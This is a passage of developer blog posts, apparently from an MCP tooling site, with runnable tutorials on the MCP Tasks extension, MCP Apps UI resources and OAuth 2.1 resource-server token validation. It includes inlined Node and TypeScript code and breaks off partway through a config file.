at the end into a folder, run `npm run demo`, and watch a naive blocking tool time out at a client deadline while a Tasks-backed tool returns a handle and polls to completion. `npm test` asserts all five wire behaviors. ## What the Tasks extension actually changes Before Tasks, a slow tool had two bad options: block the HTTP response (fragile - it times out behind proxies and load balancers) or fake async with your own polling tool and out-of-band state (works, but every server reinvents it and no client understands it). Tasks makes the async pattern first-class and uniform. - A server can respond to `tools/call` with a task handle instead of a synchronous result. - The client drives the task with `tasks/get` (poll status/result), `tasks/update` (send input the task is waiting on), and `tasks/cancel` (stop it). - The redesign replaced blocking `tasks/result` with polling via `tasks/get`, removed `tasks/list`, and lets a server return a task handle unsolicited - it can decide a call is long-running even if the client didn't ask. History worth pinning: Tasks shipped as a core feature in the 2025-11-25 spec, and production use surfaced enough redesign needs that in 2026-07-28 it moved out of core into an opt-in Extension. So "does this server support Tasks?" is now a capability you negotiate, not something you can assume. (Source: MCP 2026-07-28 Release Candidate blog, blog.modelcontextprotocol.io.) ## Why this pairs with the stateless core The same spec drops sessions and goes stateless - any request can hit any server instance. That is exactly why polling beats a held-open connection: with no sticky session, you can't rely on the same replica holding your in-flight work behind an open socket. A task handle is durable, server-owned state the client can poll from any replica. Tasks and stateless aren't two unrelated features shipping the same day - Tasks is how you do long work now that you can't lean on a sticky connection. (We shipped the stateless build-it at /blog/make-an-mcp-server-stateless; this is its async companion.) ## The protocol, end to end - Client calls a long-running tool via `tools/call`. - Server returns a task handle (task id + status `working`) instead of a result. - Client polls `tasks/get` with the task id; the server returns `working` until the job finishes, then returns the completed result. - If the task needs input mid-flight, the server surfaces that and the client answers with `tasks/update`. - The client can `tasks/cancel` at any point. Here is that exchange on the wire, captured from the reference implementation's `npm run demo` (inlined in full below). First, `initialize` - the server advertises the opt-in Tasks extension as a negotiated capability: ```json → {"jsonrpc":"2.0","id":1,"method":"initialize","params":{}} ← {"jsonrpc":"2.0","id":1,"result":{ "protocolVersion":"2026-07-28", "serverInfo":{"name":"mcp-tasks-example","version":"1.0.0"}, "capabilities":{ "tools":{}, "extensions":{"io.modelcontextprotocol/tasks":{"version":"1"}} }}} ``` ### The naive tool times out at the client deadline The blocking tool needs ~3s of real work. The client enforces a 1s deadline - the same thing a proxy or load-balancer idle timeout does - so the request is aborted before it ever returns. This is the failure the Tasks extension removes: ```text → tools/call export_report_blocking { rows: 250000 } (client deadline: 1000ms) ✗ request aborted after ~1000ms: AbortError (deadline exceeded) → the tool would have needed ~3000ms; behind a proxy this is a dropped request. ``` ### The Tasks-backed tool returns a handle and the client polls to completion The same work, re-implemented to return a task handle, comes back instantly. The client then polls `tasks/get` - `working`, `working`, then `completed` with the real result: ```json → {"jsonrpc":"2.0","id":3,"method":"tools/call", "params":{"name":"export_report","arguments":{"rows":250000}}} ← {"jsonrpc":"2.0","id":3,"result":{ "task":{"taskId":"task_ba3a0753…","status":"working","pollInterval":400}}} → {"jsonrpc":"2.0","id":4,"method":"tasks/get","params":{"taskId":"task_ba3a0753…"}} ← {"jsonrpc":"2.0","id":4,"result":{"taskId":"task_ba3a0753…","status":"working"}} → {"jsonrpc":"2.0","id":6,"method":"tasks/get","params":{"taskId":"task_ba3a0753…"}} ← {"jsonrpc":"2.0","id":6,"result":{"taskId":"task_ba3a0753…","status":"completed", "result":{"content":[{"type":"text", "text":"Exported 250000 rows to report.csv (2 columns, 1 file)."}], "isError":false}}} ``` And a cancel - start a task, then stop it before it finishes with `tasks/cancel`: ```json → {"jsonrpc":"2.0","id":8,"method":"tasks/cancel","params":{"taskId":"task_49d3f132…"}} ← {"jsonrpc":"2.0","id":8,"result":{"taskId":"task_49d3f132…","status":"cancelled"}} ``` ## Build it: the server, step by step The reference server (inlined in full at the end of this post) is one dependency-free file. It implements the extension's JSON-RPC surface over a single POST endpoint so it runs as written. Start with capability negotiation - `initialize` advertises the Tasks extension, and the Tasks-backed tool declares that it may answer with a handle: ```javascript case "initialize": return rpcResult(id, { protocolVersion: "2026-07-28", serverInfo: { name: "mcp-tasks-example", version: "1.0.0" }, capabilities: { tools: {}, // Advertise the opt-in Tasks extension so clients negotiate it. extensions: { "io.modelcontextprotocol/tasks": { version: "1" } }, }, }); ``` The naive tool blocks; the Tasks tool starts background work and returns a handle immediately. Task state lives in a store the server owns - here an in-process Map, in production a shared store (see the last section): ```javascript case "tools/call": { const name = params.name; const rows = params.arguments?.rows ?? 1000; if (name === "export_report_blocking") { // Blocks for 3s — a proxy/LB idle timeout fires long before this resolves. return new Promise((resolve) => setTimeout(() => resolve( rpcResult(id, { content: [{ type: "text", text: `Exported ${rows} rows to report.csv.` }], isError: false }) ), 3000)); } if (name === "export_report") { // Return a task handle instead of a result. The client drives it. const taskId = startExport(rows); return rpcResult(id, { task: { taskId, status: "working", pollInterval: 400 } }); } } ``` `tasks/get` reports `working` until the background job finishes, then returns the completed tool result on a later poll. `tasks/cancel` stops it. An unknown task id is a clean JSON-RPC error, not a crash: ```javascript case "tasks/get": { const t = tasks.get(params.taskId); if (!t) return rpcError(id, -32001, `Unknown taskId: ${params.taskId}`); if (t.status === "completed") return rpcResult(id, { taskId: params.taskId, status: "completed", result: t.result }); return rpcResult(id, { taskId: params.taskId, status: t.status }); } case "tasks/cancel": { const t = tasks.get(params.taskId); if (!t) return rpcError(id, -32001, `Unknown taskId: ${params.taskId}`); t.cancelled = true; t.status = "cancelled"; clearTimeout(t.timer); return rpcResult(id, { taskId: params.taskId, status: "cancelled" }); } ``` One command runs the whole thing. Save the files from the "Run it yourself" section below, then `npm run demo` boots the server, runs the client scenario end to end, and prints the wire trace above: ```bash npm run demo # server + client: naive timeout, task poll to completion, cancel npm test # 5 guard tests: initialize, timeout, poll, cancel, error ``` > **Note** > > Tested, not described: the reference implementation below ships 5 guard tests that assert all five wire behaviors (capability advertised, naive call aborts at the deadline, task polls working → completed, cancel works, unknown task id errors cleanly). npm test → 5/5. Pinned to Node 20+, zero runtime dependencies. ## Common mistakes - Treating a task handle like a result. The first response is a receipt, not the answer - the client must poll `tasks/get`. - Polling too aggressively. Respect the server-provided `pollInterval` / backoff; tight loops waste both sides. - Assuming every client supports Tasks. It's an opt-in extension now - negotiate the capability and degrade gracefully (or return a synchronous result) when the client can't drive a task. - Losing task state on redeploy. Stateless core means any replica can be polled - back task state with a shared store, not one process's memory, or a poll from another replica 404s. - Forgetting cancel and expiry. Long tasks need lifecycle: honor `tasks/cancel` and expire abandoned tasks so they don't leak. --- ## Production note: back task state with a shared store The demo keeps task state in a process Map so it runs in one command. Because the 2026-07-28 spec also drops sessions (stateless core), any request can hit any replica - so in production you back the task store with Redis or Postgres. Then a `tasks/get` that lands on a different replica than the one that started the task still resolves, and cancellation and expiry are consistent across the fleet. ## Run it yourself: the full reference implementation Every trace above came from these files. Create a folder, save each file below, then run `npm run demo` and `npm test`. There are zero runtime dependencies, so there is nothing to install - Node 20+ is all you need. ```json { "name": "mcp-tasks-example", "version": "1.0.0", "private": true, "description": "Minimal MCP server demonstrating the Tasks extension (2026-07-28 spec): long-running tools/call returns a task handle; client drives it with tasks/get and tasks/cancel.", "type": "module", "engines": { "node": ">=20" }, "scripts": { "start": "node server.mjs", "demo": "node demo.mjs", "test": "node test.mjs" } } ``` The server - capability negotiation, the naive blocking tool, the Tasks-backed tool, and the `tasks/get` / `tasks/cancel` handlers over a single POST endpoint: ```javascript // A minimal, dependency-free MCP server that demonstrates the Tasks extension // wire protocol from the 2026-07-28 MCP spec: a long-running tools/call returns // a *task handle* instead of a synchronous result, and the client drives the // work with tasks/get (poll) and tasks/cancel. // // This is a reference implementation of the extension's JSON-RPC surface over a // single Streamable-HTTP-style POST endpoint. It intentionally has no runtime // dependencies so `node server.mjs` runs as written on Node >= 20. // // Methods implemented: // initialize - capability negotiation (advertises the tasks extension) // tools/list - two tools: export_report_blocking (naive) + export_report (tasks) // tools/call - blocking tool returns synchronously; tasks tool returns a handle // tasks/get - poll a task: { status: "working" } until done, then the result // tasks/cancel - cancel an in-flight task // // Task state lives in a process-shared Map. In production (stateless core) this // would be a shared store (Redis/Postgres) so any replica can answer a poll. import { createServer } from "node:http"; import { randomUUID } from "node:crypto"; const PORT = Number(process.env.PORT || 8931); // --- task store ------------------------------------------------------------- /** @type {Map} */ const tasks = new Map(); function startExport(rows) { const taskId = "task_" + randomUUID(); const entry = { status: "working" }; tasks.set(taskId, entry); // Simulate real long work (an export that would blow past a proxy idle timeout). entry.timer = setTimeout(() => { if (entry.cancelled) return; entry.status = "completed"; entry.result = { content: [ { type: "text", text: `Exported ${rows} rows to report.csv (2 columns, 1 file).`, }, ], isError: false, }; }, 1200); return taskId; } // --- JSON-RPC dispatch ------------------------------------------------------ function rpcResult(id, result) { return { jsonrpc: "2.0", id, result }; } function rpcError(id, code, message) { return { jsonrpc: "2.0", id, error: { code, message } }; } function handle(msg) { const { id, method, params = {} } = msg; switch (method) { case "initialize": return rpcResult(id, { protocolVersion: "2026-07-28", serverInfo: { name: "mcp-tasks-example", version: "1.0.0" }, capabilities: { tools: {}, // Advertise the opt-in Tasks extension so clients negotiate it. extensions: { "io.modelcontextprotocol/tasks": { version: "1" } }, }, }); case "tools/list": return rpcResult(id, { tools: [ { name: "export_report_blocking", description: "Naive: blocks the response until the export finishes (times out behind a proxy).", inputSchema: { type: "object", properties: { rows: { type: "integer" } }, }, }, { name: "export_report", description: "Tasks-backed: returns a task handle immediately; poll tasks/get for the result.", inputSchema: { type: "object", properties: { rows: { type: "integer" } }, }, // Declares this tool may answer with a task handle. _meta: { "io.modelcontextprotocol/tasks": { taskSupport: true } }, }, ], }); case "tools/call": { const name = params.name; const rows = params.arguments?.rows ?? 1000; if (name === "export_report_blocking") { // Block for 3s to represent real work; a proxy/LB idle timeout (or the // client's own deadline) fires long before this resolves. return new Promise((resolve) => { setTimeout(() => { resolve( rpcResult(id, { content: [ { type: "text", text: `Exported ${rows} rows to report.csv.` }, ], isError: false, }) ); }, 3000); }); } if (name === "export_report") { // Return a task handle instead of a result. The client drives it. const taskId = startExport(rows); return rpcResult(id, { task: { taskId, status: "working", pollInterval: 400 }, }); } return rpcError(id, -32602, `Unknown tool: ${name}`); } case "tasks/get": { const t = tasks.get(params.taskId); if (!t) return rpcError(id, -32001, `Unknown taskId: ${params.taskId}`); if (t.status === "completed") return rpcResult(id, { taskId: params.taskId, status: "completed", result: t.result }); return rpcResult(id, { taskId: params.taskId, status: t.status }); } case "tasks/cancel": { const t = tasks.get(params.taskId); if (!t) return rpcError(id, -32001, `Unknown taskId: ${params.taskId}`); t.cancelled = true; t.status = "cancelled"; clearTimeout(t.timer); return rpcResult(id, { taskId: params.taskId, status: "cancelled" }); } default: return rpcError(id, -32601, `Method not found: ${method}`); } } // --- HTTP transport (single POST endpoint) ---------------------------------- export function createTasksServer() { return createServer((req, res) => { if (req.method !== "POST") { res.writeHead(405).end(); return; } let body = ""; req.on("data", (c) => (body += c)); req.on("end", async () => { let out; try { out = await handle(JSON.parse(body)); } catch (e) { out = rpcError(null, -32700, "Parse error"); } res.writeHead(200, { "content-type": "application/json" }); res.end(JSON.stringify(out)); }); }); } if (import.meta.url === `file://${process.argv[1]}`) { createTasksServer().listen(PORT, () => { console.log(`mcp-tasks-example listening on http://127.0.0.1:${PORT}`); }); } ``` The client - drives the two scenarios and prints the wire trace: a naive call that aborts at a 1s deadline, then a Tasks call that returns a handle, polls to completion, and cancels: ```javascript // Demo client: proves the naive blocking tool times out where the Tasks-backed // tool completes cleanly. Prints the real JSON-RPC request/response pairs on the // wire so the blog's wire-trace section is captured output, not fabricated. const URL = process.env.SERVER_URL || "http://127.0.0.1:8931"; let nextId = 1; // Send one JSON-RPC message; optional AbortSignal to enforce a client deadline // (stands in for a proxy / load-balancer idle timeout). async function rpc(method, params, { signal, label } = {}) { const req = { jsonrpc: "2.0", id: nextId++, method, params }; const started = Date.now(); const res = await fetch(URL, { method: "POST", headers: { "content-type": "application/json" }, body: JSON.stringify(req), signal, }); const json = await res.json(); const ms = Date.now() - started; print(label || method, req, json, ms); return json; } function print(label, req, res, ms) { console.log(`\n── ${label} ${ms != null ? `(${ms}ms)` : ""} ─────────────`); console.log("→ " + JSON.stringify(req)); console.log("← " + JSON.stringify(res)); } const sleep = (ms) => new Promise((r) => setTimeout(r, ms)); export async function main() { await rpc("initialize", {}); // 1) NAIVE TOOL — client enforces a 1s deadline (a real proxy idle timeout). // The tool needs 3s, so the request is aborted: this is the timeout we fix. console.log("\n### 1. Naive blocking tool — times out at the client deadline"); const ac = new AbortController(); const deadline = setTimeout(() => ac.abort(), 1000); try { await rpc( "tools/call", { name: "export_report_blocking", arguments: { rows: 250000 } }, { signal: ac.signal, label: "tools/call export_report_blocking" } ); console.log("!! unexpected: blocking call returned before the deadline"); process.exitCode = 1; } catch (e) { clearTimeout(deadline); console.log(`✗ request aborted after ~1000ms: ${e.name} (${e.cause?.code || "deadline exceeded"})`); console.log(" → this is exactly the timeout the Tasks extension removes."); } // 2) TASKS-BACKED TOOL — returns a handle immediately; client polls tasks/get. console.log("\n### 2. Tasks-backed tool — returns a handle, client polls to completion"); const call = await rpc( "tools/call", { name: "export_report", arguments: { rows: 250000 } }, { label: "tools/call export_report" } ); const taskId = call.result?.task?.taskId; if (!taskId) throw new Error("expected a task handle from tools/call"); let status = call.result.task.status; let polls = 0; while (status === "working") { await sleep(400); const got = await rpc("tasks/get", { taskId }, { label: "tasks/get" }); status = got.result.status; polls++; if (status === "completed") { console.log("✓ task completed; result:", JSON.stringify(got.result.result.content[0].text)); } if (polls > 20) throw new Error("task never completed"); } // 3) CANCEL — start another export and cancel it mid-flight. console.log("\n### 3. Cancel — start a task and cancel it before it finishes"); const call2 = await rpc( "tools/call", { name: "export_report", arguments: { rows: 999999 } }, { label: "tools/call export_report (to cancel)" } ); const cancelId = call2.result.task.taskId; const cancel = await rpc("tasks/cancel", { taskId: cancelId }, { label: "tasks/cancel" }); console.log(`✓ task ${cancel.result.status}`); console.log("\nDONE — naive tool timed out; Tasks tool completed and cancelled cleanly."); } if (import.meta.url === `file://${process.argv[1]}`) { main().catch((e) => { console.error("demo failed:", e); process.exit(1); }); } ``` The demo entrypoint - boots the server, runs the client, and exits: ```javascript // One-command demo runner: boots the server in-process, runs the client to // completion, then shuts down. `npm run demo`. import { createTasksServer } from "./server.mjs"; import { main } from "./client.mjs"; const server = createTasksServer(); await new Promise((r) => server.listen(8931, r)); try { await main(); } finally { server.close(); } ``` And the 5 guard tests that keep every wire behavior honest (`npm test` → 5/5): ```javascript // Guard tests — the "tested repo" bar. Boots the server in-process and asserts // the four wire behaviors the blog claims. Run: `node test.mjs`. import assert from "node:assert/strict"; import { createTasksServer } from "./server.mjs"; const PORT = 8945; const URL = `http://127.0.0.1:${PORT}`; let id = 1; const rpc = async (method, params, opts = {}) => { const res = await fetch(URL, { method: "POST", headers: { "content-type": "application/json" }, body: JSON.stringify({ jsonrpc: "2.0", id: id++, method, params }), signal: opts.signal, }); return res.json(); }; const sleep = (ms) => new Promise((r) => setTimeout(r, ms)); const server = createTasksServer(); await new Promise((r) => server.listen(PORT, r)); let passed = 0; const ok = (name) => { console.log(`✓ ${name}`); passed++; }; try { // 1. initialize advertises the tasks extension capability const init = await rpc("initialize", {}); assert.equal(init.result.protocolVersion, "2026-07-28"); assert.ok(init.result.capabilities.extensions["io.modelcontextprotocol/tasks"]); ok("initialize advertises the tasks extension"); // 2. naive blocking tool exceeds a 1s client deadline (times out) const ac = new AbortController(); const to = setTimeout(() => ac.abort(), 1000); let aborted = false; try { await rpc("tools/call", { name: "export_report_blocking", arguments: { rows: 10 } }, { signal: ac.signal }); } catch (e) { aborted = e.name === "AbortError"; } finally { clearTimeout(to); } assert.equal(aborted, true, "blocking call should abort at the deadline"); ok("naive blocking tool times out at the client deadline"); // 3. tasks tool returns a handle, poll goes working -> completed with a result const call = await rpc("tools/call", { name: "export_report", arguments: { rows: 42 } }); const taskId = call.result.task.taskId; assert.match(taskId, /^task_/); assert.equal(call.result.task.status, "working"); let status = "working"; for (let i = 0; i < 20 && status === "working"; i++) { await sleep(400); const got = await rpc("tasks/get", { taskId }); status = got.result.status; if (status === "completed") { assert.match(got.result.result.content[0].text, /Exported 42 rows/); } } assert.equal(status, "completed"); ok("tasks tool returns a handle and completes via tasks/get polling"); // 4. cancel stops an in-flight task const call2 = await rpc("tools/call", { name: "export_report", arguments: { rows: 9 } }); const cancel = await rpc("tasks/cancel", { taskId: call2.result.task.taskId }); assert.equal(cancel.result.status, "cancelled"); ok("tasks/cancel cancels an in-flight task"); // 5. unknown taskId is a clean JSON-RPC error, not a crash const bad = await rpc("tasks/get", { taskId: "task_nope" }); assert.equal(bad.error.code, -32001); ok("unknown taskId returns a JSON-RPC error"); console.log(`\n${passed}/5 passed`); } catch (e) { console.error("TEST FAILED:", e.message); process.exitCode = 1; } finally { server.close(); } ``` ## Frequently asked questions ### When should an MCP tool return a task instead of a result? When the work can outlast a normal request - anything from several seconds to minutes (exports, deploys, renders, deep search). If it's fast, return synchronously; Tasks adds round-trips you don't need for quick calls. ### How does the client know a task is done? It polls `tasks/get` with the task id. The server returns a `working` status until the job finishes, then returns the completed result on a subsequent poll. ### What replaced tasks/result in the 2026-07-28 spec? Polling via `tasks/get`. The blocking `tasks/result` call was removed in the redesign, along with `tasks/list`. ### Can a server start a task the client didn't ask for? Yes. In the redesign a server can return a task handle unsolicited - it can decide a given `tools/call` is long-running and hand back a handle even if the client didn't request async. ### Is Tasks part of the core MCP spec? No longer. It shipped in core in 2025-11-25, then moved to an opt-in Extension in 2026-07-28 after production feedback. Clients and servers negotiate it as a capability. ### Do I need Tasks if my server is stateless? That's exactly when you want it. Without sticky sessions you can't hold work open on one replica; a pollable task handle is how long-running work survives a round-robin load balancer. --- # Build an MCP server that renders its own UI (MCP Apps extension) URL: https://mcporbit.com/blog/build-an-mcp-app Author: Mark, Head of Marketing, MCPOrbit Published: 2026-07-26 Updated: 2026-09-04 Category: MCP Tutorials Tags: MCP, MCP Apps, TypeScript, Extensions, UI, build-it, MCP Clients, Elicitation Build an MCP App: an MCP tool that ships a sandboxed iframe UI via the MCP Apps extension (SEP-1865). Full tested code inlined, with a real wire trace. An MCP App is a normal Model Context Protocol (MCP) tool that also ships a piece of HTML. Register the UI once as a resource under the `ui://` URI scheme, point your tool at it with `_meta.ui.resourceUri`, and the host renders it in a sandboxed iframe when the tool runs. The iframe talks back to the host over the same JSON-RPC you already use, `tools/call` and `resources/read`, sent across `postMessage`. That is the whole model. You are not building a web app or standing up a frontend. You add one resource and one `_meta` field to a tool you already have. A tool that used to return JSON now returns JSON and an interactive surface the host can render inline in the conversation. **What you'll build** - A working MCP App: a `get_forecast` tool that renders a live weather card in a sandboxed iframe, built on the MCP Apps extension (SEP-1865). - The three moving parts: a `ui://` resource, a tool linked to it with `_meta.ui.resourceUri`, and an iframe view that talks back over `postMessage`. - A real wire trace from `npm run demo`, plus 5 passing tests, so you can see the handshake and the `tools/call` round trip instead of taking it on faith. - Every file inlined at the end. Copy them into a new folder, run `npm install`, and it runs as written. There is no repo to clone. > **MCP Apps (SEP-1865)** > > MCP Apps is the first official UI Extension in the 2026-07-28 MCP spec. Supported hosts as of the release candidate: Claude, Claude Desktop, VS Code GitHub Copilot, Microsoft 365 Copilot, Goose, Postman, MCPJam, and Archestra.AI. ## What MCP Apps adds to the protocol Before the 2026-07-28 spec, an MCP tool could only return text, structured content, or resource links, and the host decided how to display the result. MCP Apps (SEP-1865) lets the server ship the display. It is one of the two headline Extensions in the largest revision of MCP since launch, alongside the Tasks extension for long-running work. The key design decision is predeclared templates. A tool names its UI resource up front at registration time, so the host can prefetch it, cache it, and security-review it before any tool runs. Nothing is injected at call time. That is what makes it safe enough for hosts to render third-party UI inline. ## Step 1: Install the SDK MCP Apps ships in `@modelcontextprotocol/ext-apps`. The server-side helpers live in its `/server` subpath; the iframe-side `App` class is the main export. We use Vite with `vite-plugin-singlefile` to bundle the UI into one inlinable HTML file that the server returns as a resource. ```bash npm install @modelcontextprotocol/ext-apps@1.7.4 @modelcontextprotocol/sdk@1.29.0 express cors npm install -D typescript vite vite-plugin-singlefile tsx concurrently cross-env @types/express @types/cors @types/node ``` ## Step 2: Register the UI resource (the ui:// scheme) Import `registerAppResource` from `@modelcontextprotocol/ext-apps/server`. The SDK pattern is to pass the `ui://` URI as both the second and third arguments. The resource name and the resource URI are the same identifier. ```typescript import { registerAppResource, registerAppTool, RESOURCE_MIME_TYPE } from '@modelcontextprotocol/ext-apps/server'; import { McpServer } from '@modelcontextprotocol/sdk/server/mcp.js'; import { StreamableHTTPServerTransport } from '@modelcontextprotocol/sdk/server/streamableHttp.js'; import fs from 'node:fs/promises'; const RESOURCE_URI = 'ui://weather/forecast'; // Pass RESOURCE_URI twice: once as the name, once as the URI. // This is the SDK pattern: the resource identifier is the same as the URI. registerAppResource( server, RESOURCE_URI, RESOURCE_URI, { mimeType: RESOURCE_MIME_TYPE }, async () => { const html = await fs.readFile(UI_HTML, 'utf-8'); // single-file Vite bundle return { contents: [{ uri: RESOURCE_URI, mimeType: RESOURCE_MIME_TYPE, text: html }], }; } ); ``` The host fetches this resource at registration time, before any tool call. Because the template is predeclared, the host can cache and review it without trusting anything injected at runtime. ## Step 3: Link the tool to the UI with _meta.ui.resourceUri `registerAppTool` wraps the standard tool registration and adds the `_meta` link. When the tool runs, the host renders the `ui://weather/forecast` resource in a sandboxed iframe and passes the tool result to it. ```typescript import { z } from 'zod'; registerAppTool( server, 'get_forecast', { title: 'Get Weather Forecast', description: 'Returns a mock weather forecast for a city.', inputSchema: z.object({ city: z.string() }), _meta: { ui: { resourceUri: RESOURCE_URI } }, // links tool to UI resource }, async ({ city }) => ({ content: [{ type: 'text', text: JSON.stringify({ city, temp_c: 9, condition: 'Clear', source: 'mock' }), }], }) ); ``` When the host runs this tool, it fetches the `ui://weather/forecast` resource, renders it in a sandboxed iframe, and passes the tool result to the view. The client never has to know there is a UI at all. It just calls the tool normally. ## Step 4: Build the iframe view with the App class The iframe-side JavaScript uses `new App()` from `@modelcontextprotocol/ext-apps`. Call `app.connect()` to run the `ui/initialize` handshake. The host will not route tool results or relay `tools/call` until it completes. Register `app.ontoolresult` to receive the initial result, and call `app.callServerTool()` for UI-driven refreshes. ```typescript // ui/index.html ``` > **Note** > > Building MCP Apps? [MCPOrbit](/) lists every tool and resource your server exposes, with the full input schema for each tool. Point it at your server and call the tools by hand while you iterate. ## Frequently asked questions ### What is an MCP App? An MCP App is an MCP tool that also ships an HTML UI. The server declares the UI as a `ui://` resource and links it from the tool with `_meta.ui.resourceUri`; the host renders it in a sandboxed iframe when the tool runs. It is defined by SEP-1865 in the 2026-07-28 MCP spec. ### How does an MCP App's UI communicate with the server? Through JSON-RPC sent over `postMessage`. The iframe calls `tools/call` and `resources/read` to reach the server, relayed by the host, and uses `ui/message` and `ui/update-model-context` to interact with the conversation. It never makes direct network calls. ### How do I declare a UI for my MCP tool? Register an HTML resource under the `ui://` scheme with `registerAppResource`, passing the URI as both the second and third arguments. Then add `_meta: { ui: { resourceUri: 'ui://your/template' } }` to the tool via `registerAppTool`. ### Are MCP Apps secure? Can the UI steal data? Yes, they are secure. The UI runs in a sandboxed iframe with no access to the host's DOM, cookies, or storage, and every message is auditable JSON-RPC. Network access is restrictive by default: servers declare allowed domains via CSP metadata and the host enforces them. ### Which clients support MCP Apps? As of the 2026-07-28 release candidate: Claude, Claude Desktop, VS Code GitHub Copilot, Microsoft 365 Copilot, Goose, Postman, MCPJam, and Archestra.AI. ### Do I need to rewrite my MCP server to add a UI? No. You add one resource, the `ui://` template, and one `_meta.ui.resourceUri` field to an existing tool. The tool's logic and input schema stay the same; it just gains a rendered surface. --- # How to add OAuth 2.1 auth to a remote MCP server URL: https://mcporbit.com/blog/add-oauth-to-remote-mcp-server Author: Mark, Head of Marketing, MCPOrbit Published: 2026-07-25 Updated: 2026-09-04 Category: Tutorial Tags: MCP, OAuth 2.1, Authorization, Security Make your remote MCP server an OAuth 2.1 resource server: PRM discovery (RFC 9728), PKCE, and audience-bound tokens (RFC 8707), with runnable code. To make a remote MCP server comply with the 2026-07-28 authorization spec, you don't stand up your own OAuth server. You turn your MCP server into an OAuth 2.1 resource server. Concretely: publish a Protected Resource Metadata document at `/.well-known/oauth-protected-resource` (RFC 9728) that points clients at an authorization server you already trust, then validate that every access token you receive was (1) issued by that authorization server and (2) audience-bound to your server's canonical URL via the RFC 8707 `resource` parameter. Identity stays with an identity provider (IdP); your job is to verify tokens and check the audience. That is the whole shape of it. The rest of this post is the working code, every file inlined so you can copy it into a new project and run it. > **What you'll build** > > A minimal remote (Streamable HTTP) MCP server that acts as an OAuth 2.1 resource server. Every file is inlined below. Copy them into a project, run `npm install && npm run demo`, and watch all four wire behaviors happen against a live server on your machine. Pinned to @modelcontextprotocol/sdk@1.29.0, express 5, jose 6, TypeScript 5.9. ## You don't build an auth server, you become a resource server The single most common mistake devs make reading the MCP authorization spec is assuming they have to implement OAuth themselves: mint tokens, manage users, store passwords. You don't, and you shouldn't. OAuth 2.1 splits the work across three roles. The client is the MCP host (Claude, or any MCP-speaking app). The authorization server issues tokens and owns identity: that is your IdP, whether Auth0, Okta, Keycloak, WorkOS, Entra, or any spec-compliant issuer you already run. The resource server validates tokens and serves protected resources: that is your MCP server. The 2026-07-28 spec makes your server a resource server, nothing more. - Expose a discovery document so clients can find the authorization server on their own. - Reject unauthenticated requests with a 401 that points at that document. - Validate every incoming token: signature, issuer, expiry, and, the part everyone forgets, audience. - You never see a password and never run a login page. You delegate identity and verify the result. ## The four things the 2026-07-28 spec requires ### 1. Authorization Code + PKCE (RFC 7636) Every client uses the Authorization Code flow with PKCE, no exceptions: public clients and confidential clients alike. PKCE binds the authorization request to the token request with a one-time code verifier, so an intercepted authorization code is useless on its own. There is no implicit flow and no password grant in OAuth 2.1. If a walkthrough tells you to ship a client secret in a desktop app, it is pre-2.1. ### 2. Protected Resource Metadata (RFC 9728) Your server publishes a JSON document at `/.well-known/oauth-protected-resource` listing which authorization server(s) can issue tokens for it and which scopes it expects. This is what lets a client connect with zero hand-configuration: it discovers where to send the user to log in, dynamically, from your server. ### 3. Resource Indicators (RFC 8707) The client MUST send `resource=` on both the authorization request and the token request, and your server MUST reject any token whose audience isn't itself. This is the anti-confused-deputy control: it stops a token minted for some other MCP server (or a phishing server) from being replayed against yours. Skipping this check is the difference between "we did OAuth" and "we did OAuth correctly." It is the single most-skipped requirement in the wild. ### 4. Token validation On every request, verify the access token's signature against the authorization server's keys, check the issuer matches your configured authorization server, check it hasn't expired, and check the audience is your canonical URI. Only then do you run the tool call. A missing or bad token gets a 401 with a `WWW-Authenticate` header pointing back at your PRM document, which is also the client's cue to start the discovery flow. RFC 8414 (Authorization Server Metadata) and RFC 7591 (Dynamic Client Registration) round out the discovery and registration chain so clients can register and find endpoints without a human wiring config. Worth knowing they exist, but your resource server does not implement them. ## Add it to a real MCP server, step by step The server below is a remote (Streamable HTTP) MCP server built on `@modelcontextprotocol/sdk@1.29.0`, with the OAuth 2.1 resource-server guard sitting in front of the `/mcp` endpoint. It runs end to end on your machine with one command because it ships a tiny local dev issuer, the stand-in for your real IdP, so you can see the whole handshake offline. ### Prerequisites - Node.js 20 or newer. - Pinned versions used here: @modelcontextprotocol/sdk@1.29.0, express@5.1.0, jose@6.1.0, zod@3.25.76, TypeScript 5.9. - No external services: the demo boots the server and a local dev authorization server together. ## The project layout Six source files plus two config files. The only file you keep in production is `src/auth.ts`. Create the files exactly as shown below. ```text mcp-remote-auth-example/ package.json tsconfig.json src/ config.ts # canonical URI + trusted issuer auth.ts # the resource-server guard (the code you own) issuer.ts # dev-only authorization server (delete in prod) server.ts # the remote MCP server over Streamable HTTP verify.ts # npm run demo: the one-command wire trace auth.test.ts # six guard tests (npm test) ``` ### package.json Versions are pinned so the wire trace you see is the wire trace you get. ```json { "name": "mcp-remote-auth-example", "version": "1.0.0", "private": true, "description": "A minimal remote (Streamable HTTP) MCP server that acts as an OAuth 2.1 resource server: PRM discovery (RFC 9728), audience-bound token validation (RFC 8707), and a 401 + WWW-Authenticate discovery entry point.", "type": "module", "engines": { "node": ">=20" }, "scripts": { "build": "tsc", "start": "node dist/server.js", "dev": "tsx src/server.ts", "demo": "tsx src/verify.ts", "test": "tsx --test src/*.test.ts", "prepare": "npm run build" }, "dependencies": { "@modelcontextprotocol/sdk": "1.29.0", "express": "5.1.0", "jose": "6.1.0", "zod": "3.25.76" }, "devDependencies": { "@types/express": "5.0.3", "@types/node": "22.20.1", "tsx": "4.23.1", "typescript": "5.9.3" } } ``` ### tsconfig.json ```json { "compilerOptions": { "target": "ES2022", "module": "NodeNext", "moduleResolution": "NodeNext", "outDir": "dist", "rootDir": "src", "strict": true, "esModuleInterop": true, "skipLibCheck": true, "declaration": false, "sourceMap": false }, "include": ["src/**/*.ts"], "exclude": ["node_modules", "dist", "src/**/*.test.ts"] } ``` ### src/config.ts Two values matter: `resource` is this server's canonical URI (the audience every token must carry), and `issuer` is the authorization server you trust. In production both come from environment variables pointing at your real IdP. ```typescript // Central config for the demo. In production these come from env / your IdP. // RESOURCE is your MCP server's canonical URI, the audience every token must be bound to (RFC 8707). // ISSUER is the OAuth 2.1 authorization server you delegate identity to (your IdP). // In this repo the issuer is a tiny local dev AS so the whole flow runs in one command; // in production you delete src/issuer.ts and point ISSUER at Auth0/Okta/Keycloak/WorkOS/Entra. const PORT = Number(process.env.PORT ?? 8080); export const config = { port: PORT, // Canonical resource URI of THIS MCP server. Tokens must carry this in `aud`. resource: process.env.MCP_RESOURCE ?? `http://localhost:${PORT}/mcp`, // The authorization server we trust to mint tokens. issuer: process.env.OAUTH_ISSUER ?? `http://localhost:${PORT}`, // Scope this resource server expects. scope: 